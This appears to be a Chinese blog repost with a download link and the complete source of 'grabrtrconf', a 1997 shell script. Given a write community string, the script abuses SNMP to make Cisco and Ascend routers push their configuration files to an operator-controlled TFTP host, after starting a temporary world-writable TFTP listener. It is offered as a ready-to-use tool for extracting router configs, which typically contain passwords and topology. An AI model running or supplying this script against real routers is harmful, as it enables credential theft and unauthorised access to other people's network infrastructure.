工具:
http://billythekids.demirdesign.com/downloads.php


点击(此处)折叠或打开

  1. #!/bin/sh
  2. # grabrtrconf:
  3. # Pull router configs via tftp for cisco's and ascends. obviously trivial to
  4. # modify this for other network hardware that supports this type of thing.
  5. #
  6. # - [type] can be one of cisco | ascend currently
  7. # - defaults to cisco
  8. # - requires cmu snmp utilities (snmpset specifically)
  9. # - use TFTPLISTEN and disable tftp from /etc/inetd.conf if you want to
  10. # launch a 'temporary' in.tftpd just to grab the file.
  11. # - 'pidof' only exists on linux that I know of which kindof makes this a
  12. # linux-only tool, unless/until I decide to stop relying on it.
  13. # - Set 'INT' to whatever your routable IP is.
  14. # - run as root (if you want to launch the tftp server)
  15. #
  16. # - I know this is lame... but it works (most of the time).
  17. #
  18. # by: Eric Monti 11/1997
  19. #

  20. TFTPLISTEN="true"

  21. DIR=/tftpboot #might want to use something else
  22. WAIT=6
  23. INT=ppp0
  24.  
  25. test "$4" = "" && echo "Usage: `basename $0` target write-community tftphost filename [type]" && exit 1

  26. TYPE=$5
  27. test "$5" = "" && TYPE="cisco"

  28. IPADDR=$3
  29. test "$IPADDR" = "." && IPADDR=`/sbin/ifconfig $INT | grep inet | sed "s/\:/\ /" | awk '{print $3}'`

  30. echo $3

  31. if [ -n $TFTPLISTEN ];then
  32.         echo "tftp dgram udp wait root /usr/sbin/in.tftpd in.tftpd $DIR" > /tmp/ind.conf
  33.         /usr/sbin/inetd -d /tmp/ind.conf &
  34.         rm /tmp/ind.conf
  35.         rm -f $DIR/$4
  36.         touch $DIR/$4
  37.         chmod 666 $DIR/$4
  38. fi

  39. #CISCO get config
  40. test "$TYPE" = "cisco" && \
  41. snmpset -r 3 -t 3 $1 $2 .1.3.6.1.4.1.9.2.1.55.$IPADDR s $4

  42. #ASCEND get config
  43. if [ "$TYPE" = "ascend" ];then
  44.   snmpset -r 3 -t 3 $1 $2 .1.3.6.1.4.1.529.9.5.3.0 a $IPADDR
  45.   snmpset -r 3 -t 3 $1 $2 .1.3.6.1.4.1.529.9.5.4.0 s $4
  46.   snmpset -r 3 $1 $2 .1.3.6.1.4.1.529.9.5.1.0 i 3
  47.   snmpset -r 3 $1 $2 .1.3.6.1.4.1.529.9.5.3.0 a "0.0.0.0"
  48.   snmpset -r 3 $1 $2 .1.3.6.1.4.1.529.9.5.4.0 s ""
  49. fi

  50. sleep $WAIT

  51. # i got lazy and used pidof... so what.
  52. # I made pretty dots appear to make up for
  53. if (test `pidof in.tftpd`);then


  54.  echo Receiving file:
  55.  while (test "`pidof in.tftpd`");do
  56.         echo -n .
  57.         sleep 1
  58.  done
  59.  echo
  60.  echo Transfer Complete

  61. fi

  62. if [ -n $TFTPLISTEN ];then
  63.         kill `cat /var/run/inetd.pid` # jeepers, i hope that wasnt the real1
  64. fi

09-13 20:35